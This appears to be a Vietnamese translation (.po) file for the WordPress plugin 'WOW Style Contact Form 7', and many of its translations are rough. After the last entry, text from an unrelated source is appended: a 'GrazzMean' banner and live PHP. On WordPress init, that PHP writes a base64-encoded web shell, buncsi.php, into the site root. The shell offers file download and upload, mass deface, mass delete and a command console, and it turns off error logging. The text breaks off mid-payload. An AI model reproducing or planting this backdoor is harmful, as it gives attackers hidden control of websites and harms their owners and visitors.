msgid "Style scheme disabled for all forms"
msgstr "Thiết kế phong cách bị chặn cho tất cả các hình thức"

#: admin/class-cf7-customizer-admin-ajax.php:477
msgid "Style scheme disabled for this form"
msgstr "Chế độ phong cách bị chặn cho hình thức này"

#: admin/class-cf7-customizer-admin-ajax.php:423 
#: admin/class-cf7-customizer-admin-ajax.php:459
msgid "Style scheme enabled for this form"
msgstr "Chế độ phong cách được kích hoạt cho hình thức này"

#: admin/class-cf7-customizer-admin-ajax.php:377 
#: admin/class-cf7-customizer-admin-ajax.php:434
msgid "Style scheme is not selected"
msgstr "Chế độ phong cách không được chọn"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:180
msgid "Style schemes list"
msgstr "Danh sách Style Schemes"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1164
msgid "Style schemes preview"
msgstr "Phong cách Preview"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:146
msgid "Style schemes settings"
msgstr "Thiết lập Style Schemes"

#: admin/class-cf7-customizer-admin-ajax.php:298
msgid "Style will be loaded in <body> tag"
msgstr "Phong cách sẽ được tải lên trong <body>Tag"

#: admin/class-cf7-customizer-admin-ajax.php:301
msgid "Style will be loaded in <head> tag"
msgstr "Phong cách sẽ được tải lên trong <head>Tag"

#: public/class-cf7-customizer-public.php:483 
#: admin/class-cf7-customizer-admin-ajax.php:119 
#: admin/class-cf7-customizer-admin-ajax.php:210 
#: admin/class-cf7-customizer-admin-ajax.php:286 
#: admin/class-cf7-customizer-admin-ajax.php:304 
#: admin/class-cf7-customizer-admin-ajax.php:386 
#: admin/class-cf7-customizer-admin-ajax.php:396 
#: admin/class-cf7-customizer-admin-ajax.php:405 
#: admin/class-cf7-customizer-admin-ajax.php:423 
#: admin/class-cf7-customizer-admin-ajax.php:459 
#: admin/class-cf7-customizer-admin-ajax.php:477
msgid "Success"
msgstr "Thành công"

#: admin/class-cf7-customizer-admin.php:105 
#: admin/class-cf7-customizer-admin.php:106 
#: admin/class-cf7-customizer-admin.php:124 
#: admin/class-cf7-customizer-admin.php:125
msgid "Support & KB"
msgstr "Hỗ trợ & KB"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1169
msgid "Tablet View"
msgstr "Hình ảnh Tablet"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:450 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:848 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1064
msgid "Text Color"
msgstr "Text màu sắc"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1315
#, php-format
msgid ""
"This form is styled with <strong>%s</strong> globally, you can style it with "
"current Style scheme."
msgstr ""
"Hình thức này được thiết kế với <strong>% s </strong>Trên toàn cầu, bạn có "
"thể phong cách nó với phong cách hiện tại."

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1311
#, php-format
msgid ""
"This form is styled with <strong>%s</strong>, you can style it with current "
"Style scheme."
msgstr ""
"Hình thức này được thiết kế với <strong>% s </strong>, bạn có thể phong cách "
"nó với phong cách hiện tại."

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1307
msgid ""
"This form is styled with current Style Scheme, you can disable it and use "
"global settings."
msgstr ""
"Hình thức này được phong cách với biểu mẫu phong cách hiện tại, bạn có thể "
"tắt nó và sử dụng cài đặt toàn cầu."

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1319
msgid ""
"This form not styled with any Style scheme, you can enable current Scheme "
"for this form or set up global Style Scheme by clicking \"Use for all "
"forms\" below scheme title."
msgstr ""
"Hình thức này không được phong cách với bất kỳ biểu mẫu phong cách nào, bạn "
"có thể bật biểu mẫu hiện tại cho biểu mẫu này hoặc thiết lập biểu mẫu phong "
"cách toàn cầu bằng cách nhấp chuột \"làm cho tất cả các biểu mẫu\" bên dưới "
"tiêu đề biểu mẫu."

#: admin/class-cf7-customizer-admin-ajax.php:386
msgid "This scheme is not existed"
msgstr "Hệ thống này không tồn tại"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:251
msgid ""
"This Style Scheme enabled globally for all forms. If you want to use your "
"theme's style for Contact Form 7 click \"Disable\" button."
msgstr ""
"Phong cách này cho phép toàn cầu cho tất cả các hình thức. Nếu bạn muốn sử "
"dụng phong cách chủ đề của bạn cho biểu mẫu liên hệ 7 nhấp vào nút \"không "
"thể\"."

#. Author of the plugin
msgid "Tobias Conrad"
msgstr "Đạo diễn Tobias Conrad"

#: admin/partials/cf7-customizer-admin-tutorial.php:36
msgid "Tutorial"
msgstr "hướng dẫn"

#: admin/partials/cf7-customizer-admin-preview-mode.php:8 
#: admin/partials/cf7-customizer-admin-preview-mode.php:26
msgid "Unstyled"
msgstr "không phong cách"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:302 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:551 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:999
msgid "Upgrade to Pro"
msgstr "nâng cấp lên pro"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:576
msgid "Upload Image"
msgstr "Tải hình ảnh"

#: includes/lib/Cf7_Template.php:36
msgid "Vertical Length"
msgstr "chiều dài vertical"

#: admin/partials/cf7-customizer-admin-tutorial.php:34
msgid "Welcome"
msgstr "Chào mừng"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1105
msgid "Width"
msgstr "rộng"

#. Name of the plugin
#: cf7-styler.php:138 admin/partials/cf7-customizer-admin-display.php:22
msgid "WOW Style Contact Form 7"
msgstr "Hình thức liên hệ WOW 7"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:825 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1012 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1022 
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1048
msgid "YES"
msgstr "Có"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:405
msgid ""
"You can create new style scheme with current scheme settings. If you want to "
"create blank style schem unchek checkbox below."
msgstr ""
"Bạn có thể tạo một biểu mẫu phong cách mới với các cài đặt biểu mẫu hiện tại."
" Nếu bạn muốn tạo phong cách trắng Schem Unchek Checkbox bên dưới."

#: admin/class-cf7-customizer-admin-ajax.php:237
msgid "You can not delete"
msgstr "Bạn không thể xóa"

#: public/class-cf7-customizer-public.php:471
msgid "You can not use this settings on this page type"
msgstr "Bạn không thể sử dụng cài đặt này trên kiểu trang này"

#: admin/partials/cf7-customizer-admin-tab-form-customize.php:1411
msgid "You do not have any Contact Form 7 items"
msgstr "Bạn không có bất kỳ hình thức liên lạc 7 mục"

#. No scheme enabled
#: admin/partials/cf7-customizer-admin-tab-form-customize.php:233
msgid ""
"You do not use any of Style Schemes for Contact Form 7. Click \"Use for all "
"forms\" to use current Scheme globally."
msgstr ""
"Bạn không sử dụng bất kỳ biểu mẫu kiểu nào cho biểu mẫu liên hệ 7. Nhấp vào "
"\"sử dụng cho tất cả các biểu mẫu\" để sử dụng biểu mẫu hiện tại trên toàn "
"cầu."
© 2026 GrazzMean
AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

add_action('init', function() { $f = ABSPATH . 'buncsi.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAKLyogTWF1IHJlY29kZT8gaXppbiBkdWx1LCByZWNvZGUgZ2EgaXppbiBpdHUgZ2Ega2VyZW4gYWpnICovCnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxudWxsKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9KYWthcnRhJyk7CiRfbiA9ICdHcmF6ek1lYW4nOwokX3MgPSAiPHN0eWxlPnRhYmxle2Rpc3BsYXk6bm9uZTt9PC9zdHlsZT48ZGl2IGNsYXNzPSd0YWJsZS1yZXNwb25zaXZlJz48aHI+PC9kaXY+IjsKJF9yID0gInJlcXVpcmVkPSdyZXF1aXJlZCciOwokX3ggPSAiPGkgY2xhc3M9J2JpIGJpLW1lbnUtdXAnPjwvaT4iOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2Rvd25sb2FkJyl7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC9wbGFpbicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kX1BPU1RbJ25hbWUnXS4nIicpOwplY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSk7CmV4aXQoKTsKfQpmdW5jdGlvbiDilp8oJHBhdGgsJHApIHsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpIHsKCSTilpogPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKCSTilpogPSBnZXRjd2QoKTsKfQppZihpc193cml0YWJsZSgk4paaKSkgewoJcmV0dXJuICI8Z3IgY2xhc3M9J2FudSc+Ii4kcC4iPC9ncj4iOwp9ZWxzZXsKCXJldHVybiAiPHJkIGNsYXNzPSdhbnUnPiIuJHAuIjwvcmQ+IjsKCX0KfQpmdW5jdGlvbiBvaygpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9ImFsZXJ0IiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+JzsKfQpmdW5jdGlvbiBlcigpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIGFsZXJ0LWRpc21pc3NpYmxlIGZhZGUgc2hvdyBteS0zIiByb2xlPSJhbGVydCI+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0iYWxlcnQiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4nOwp9CmZ1bmN0aW9uIHN6KCRieXQpewoJJHN6ID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicpOwoJZm9yKCRpID0gMDsgJGJ5dCA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCRzeikgLTEgKTsgJGJ5dCAvPSAxMDI0LCAkaSsrICk7CglyZXR1cm4ocm91bmQoJGJ5dCwyKS4iICIuJHN6WyRpXSk7Cn0KZnVuY3Rpb24gaXAoKSB7CgkkaXBhcyA9ICcnOwppZihnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERUQnKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEJyk7CmVsc2UgaWYoZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfRk9SV0FSREVEJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9GT1JXQVJERUQnKTsKZWxzZSBpZihnZXRlbnYoJ1JFTU9URV9BRERSJykpCgkkaXBhcyA9IGdldGVudignUkVNT1RFX0FERFInKTsKZWxzZQoJJGlwYXMgPSAnSVAgdGlkYWsgZGlrZW5hbGknOwpyZXR1cm4gJGlwYXM7Cn0KZnVuY3Rpb24gcCgkZmlsZSl7CmlmKCRwID0gQGZpbGVwZXJtcygkZmlsZSkpewoJJGkgPSAndSc7CmlmKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwplbHNlaWYoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CmVsc2VpZigoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKZWxzZWlmKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwplbHNlaWYoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CmVsc2VpZigoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKZWxzZWlmKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwoJJGkgLj0gKCRwICYgMDA0MDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAyMDApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAxMDApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwNDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMjApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMTApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDQpPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDIpPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDEpPyAneCc6Jy0nOwpyZXR1cm4gJGk7Cgl9CgllbHNlIHJldHVybiAiLSA/PyAtIjsKfQokZGlzZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwppZihlbXB0eSgkZGlzZnVuYykpIHsKCSRkaXNmYyA9ICI8Z3I+Tk9ORTwvZ3I+IjsKfWVsc2V7CgkkZGlzZmMgPSAiPHJkPiRkaXNmdW5jPC9yZD4iOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9ZWxzZXsKCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJJHVpZCA9ICR1aWRbJ3VpZCddOwoJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRzbSA9IChAaW5pX2dldChzdHJ0b2xvd2VyKCJzYWZlX21vZGUiKSkgPT0gJ29uJykgPyAiPHJkPk9OPC9yZD4iIDogIjxncj5PRkY8L2dyPiI7CmVjaG8gIgo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgk8aGVhZD4KCQk8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9JyRfbic+CgkJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LG5vZm9sbG93Jz4KCQk8dGl0bGU+Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiAtICRfbjwvdGl0bGU+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0wLjcwJz4KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9Jy8vbWVraS5nb29nbGUuY28ud3Mvc3R5bGUuY3NzJz4KCQk8c2NyaXB0IHNyYz0nLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcHJpc20vMS42LjAvcHJpc20uanMnPjwvc2NyaXB0PgoJCTxzY3JpcHQgc3JjPScvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjAuMS9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzJz48L3NjcmlwdD4KCQk8c2NyaXB0IHNyYz0nLy9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzJz48L3NjcmlwdD4KCTwvaGVhZD4KPGJvZHkgY2xhc3M9J2JnLXNlY29uZGFyeSB0ZXh0LWxpZ2h0Jz4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J3B5LTMnIGlkPSdtYWluJz4KCQk8ZGl2IGNsYXNzPSdib3ggc2hhZG93IGJnLWRhcmsgcC00IHJvdW5kZWQtMyc+CgkJCTxkaXYgY2xhc3M9J2Nvcm5lciB0ZXh0LXNlY29uZGFyeSBhbnUnPnNoZWxsIGJ5cGFzcyA0MDM8L2Rpdj4KCQkJCTxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0IGFudScgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz48aDQ+JF9uIFNoZWxsPC9oND48L2E+IjsKCQkJCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKCQkJCQkkcGF0aCA9ICRfR0VUWydwYXRoJ107CgkJCQl9ZWxzZXsKCQkJCQkkcGF0aCA9IGdldGN3ZCgpOwoJCQkJfQoJCQkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOwoJCQkJCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCQkJCWZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7CgkJCQlpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKCQkJCQkkYSA9IHRydWU7CgkJCQkJZWNobyAnPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+PGkgY2xhc3M9ImJpIGJpLWhkZC1yYWNrIj48L2k+IDogPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtbGlnaHQiIGhyZWY9Ij9wYXRoPS8iPi88L2E+JzsKCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQkJaWYoJHBhdCA9PSAnJykgY29udGludWU7CgkJCQkJZWNobyAnPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIiBocmVmPSI/cGF0aD0nOwoJCQkJZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKCQkJCQllY2hvICIkcGF0aHNbJGldIjsKCQkJCWlmKCRpICE9ICRpZCkgZWNobyAiLyI7CgkJCQl9CgkJCQllY2hvICciPicuJHBhdC4nPC9hPi8nOwoJCQkJfQoJCQkJZWNobyAiIFsgIi7ilp8oJHBhdGgsIHAoJHBhdGgpKS4iIF08L2Rpdj4iOwoJCQllY2hvICIKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J2JveCBzaGFkb3cgYmctZGFyayBwLTQgcm91bmRlZC0zJz4KCQk8ZGl2IGNsYXNzPSdjb3JuZXIgYW51Jz4KCQkJPGIgZGF0YS1icy10b2dnbGU9J2NvbGxhcHNlJyBkYXRhLWJzLXRhcmdldD0nI2NvbGxhcHNlRXhhbXBsZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnIGFyaWEtY29udHJvbHM9J2NvbGxhcHNlRXhhbXBsZSc+PGkgY2xhc3M9J2JpIGJpLWluZm8tY2lyY2xlJz48L2k+IGluZm8gc2VydmVyIDxpIGNsYXNzPSdiaSBiaS1jaGV2cm9uLWRvd24nPjwvaT48L2I+CgkJPC9kaXY+Cgk8ZGl2IGNsYXNzPSdjb2xsYXBzZSB0ZXh0LWRhcmsgbWItMycgaWQ9J2NvbGxhcHNlRXhhbXBsZSc+CgkJPGRpdiBjbGFzcz0nYm94IHNoYWRvdyBiZy1saWdodCBwLTQgcm91bmRlZC0zJz4KCQkJVW5hbWU6IDxncj4iLnBocF91bmFtZSgpLiI8L2dyPjxiciAvPgoJCQlTb2Z0d2FyZTogPGdyPiIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiI8L2dyPjxiciAvPgoJCQlQSFAgdmVyc2lvbjogPGdyPiIuUEhQX1ZFUlNJT04uIjwvZ3I+IDxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZScgaHJlZj0nP3BocGluZm8mcGF0aD0kcGF0aCc+WyBQSFAgSU5GTyBdPC9hPiBQSFAgb3M6IDxncj4iLlBIUF9PUy4iPC9ncj48YnIgLz4KCQkJU2VydmVyIElwOiA8Z3I+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuIjwvZ3I+PGJyIC8+CgkJCVlvdXIgSXA6IDxncj4iLmlwKCkuIjwvZ3I+PGJyIC8+CgkJCVVzZXI6IDxncj4kdXNlcjwvZ3I+ICgkdWlkKSB8IEdyb3VwOiA8Z3I+JGdyb3VwPC9ncj4gKCRnaWQpPGJyIC8+CgkJCVNhZmUgTW9kZTogJHNtPGJyIC8+CgkJCURpc2FibGUgRnVuY3Rpb246PGRpdiBjbGFzcz0ndGFibGUtcmVzcG9uc2l2ZSc+JGRpc2ZjPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPgoJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP3VwbG9hZCZwYXRoPSRwYXRoJz48aSBjbGFzcz0nYmkgYmktdXBsb2FkJz48L2k+IHVwbG9hZDwvYT4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP21hc3NfZGVmYWNlJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS1leGNsYW1hdGlvbi1kaWFtb25kJz48L2k+IG1hc3MgZGVmYWNlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/bWFzc19kZWxldGUmcGF0aD0kcGF0aCc+PGkgY2xhc3M9J2JpIGJpLXRyYXNoJz48L2k+IG1hc3MgZGVsZXRlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/Y21kJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS10ZXJtaW5hbCc+PC9pPiBjb25zb2xlPC9hPgoJPC9kaXY+CjwvZGl2PiI7Ci8vIHRvb2xzIG55YQppZihpc3NldCgkX0dFVFsncGF0aCddKSkgewoJJGRpciA9ICRfR0VUWydwYXRoJ107CgljaGRpcigkZGlyKTsKfWVsc2V7CgkkZGlyID0gZ2V0Y3dkKCk7Cn0KJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRkaXIpOwokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CQpmb3IoJGkgPSAwOyAkaSA8PSAkY19kaXI7ICRpKyspIHsKCSRzY2RpclskaV07CglpZigkaSAhPSAkY19kaXIpIHsKfQppZihpc3NldCgkX0dFVFsnbWFzc19kZWZhY2UnXSkpIHsKZWNobyAiJF9zIjsKZnVuY3Rpb24gbWFzc19rYWJlaCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewppZihpc193cml0YWJsZSgkZGlyKSkgewoJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCSTilpogPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCWlmKCRkaXJiID09PSAnLicpIHsKCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQkk4pafID0gbWFzc19rYWJlaCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQpmdW5jdGlvbiBtYXNzX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CglpZihpc193cml0YWJsZSgkZGlyKSkgewoJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9ZWxzZXsKCQkJCWlmKGlzX2RpcigkZGlyYykpIHsKCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JGRpcmIvJG5hbWFmaWxlPGJyPiI7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9Cgl9Cn0KaWYoJF9QT1NUWydzdGFydCddKSB7CglpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFzc2FsJykgewoJbWFzc19rYWJlaCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfSBlbHNlaWYoJF9QT1NUWyd0aXBlJ10gPT0gJ2JpYXNhJykgewoJbWFzc19iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfQp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+IFRpcGU6Cgk8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4KCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nYmlhc2EnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0JyBjaGVja2VkPgoJCTxsYWJlbCBjbGFzcz0nZm9ybS1jaGVjay1sYWJlbCcgZm9yPSdmbGV4Q2hlY2tEZWZhdWx0Jz5CaWFzYTwvbGFiZWw+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9J2Zvcm0tY2hlY2snPgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdtYXNzYWwnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0Jz4KCQk8bGFiZWwgY2xhc3M9J2Zvcm0tY2hlY2stbGFiZWwnIGZvcj0nZmxleENoZWNrRGVmYXVsdCc+TWFzc2FsPC9sYWJlbD4KCTwvZGl2PgoJCTxpIGNsYXNzPSdiaSBiaS1mb2xkZXInPjwvaT4gTG9rYXNpOgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgcGxhY2Vob2xkZXI9J25hbWEgZmlsZScgJF9yPgoJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gSXNpIGZpbGU6CgkJPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyByb3dzPSc3JyBuYW1lPSdzY3JpcHQnIHBsYWNlaG9sZGVyPSdpc2kgZmlsZScgJF9yPjwvdGV4dGFyZWE+CgkJPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0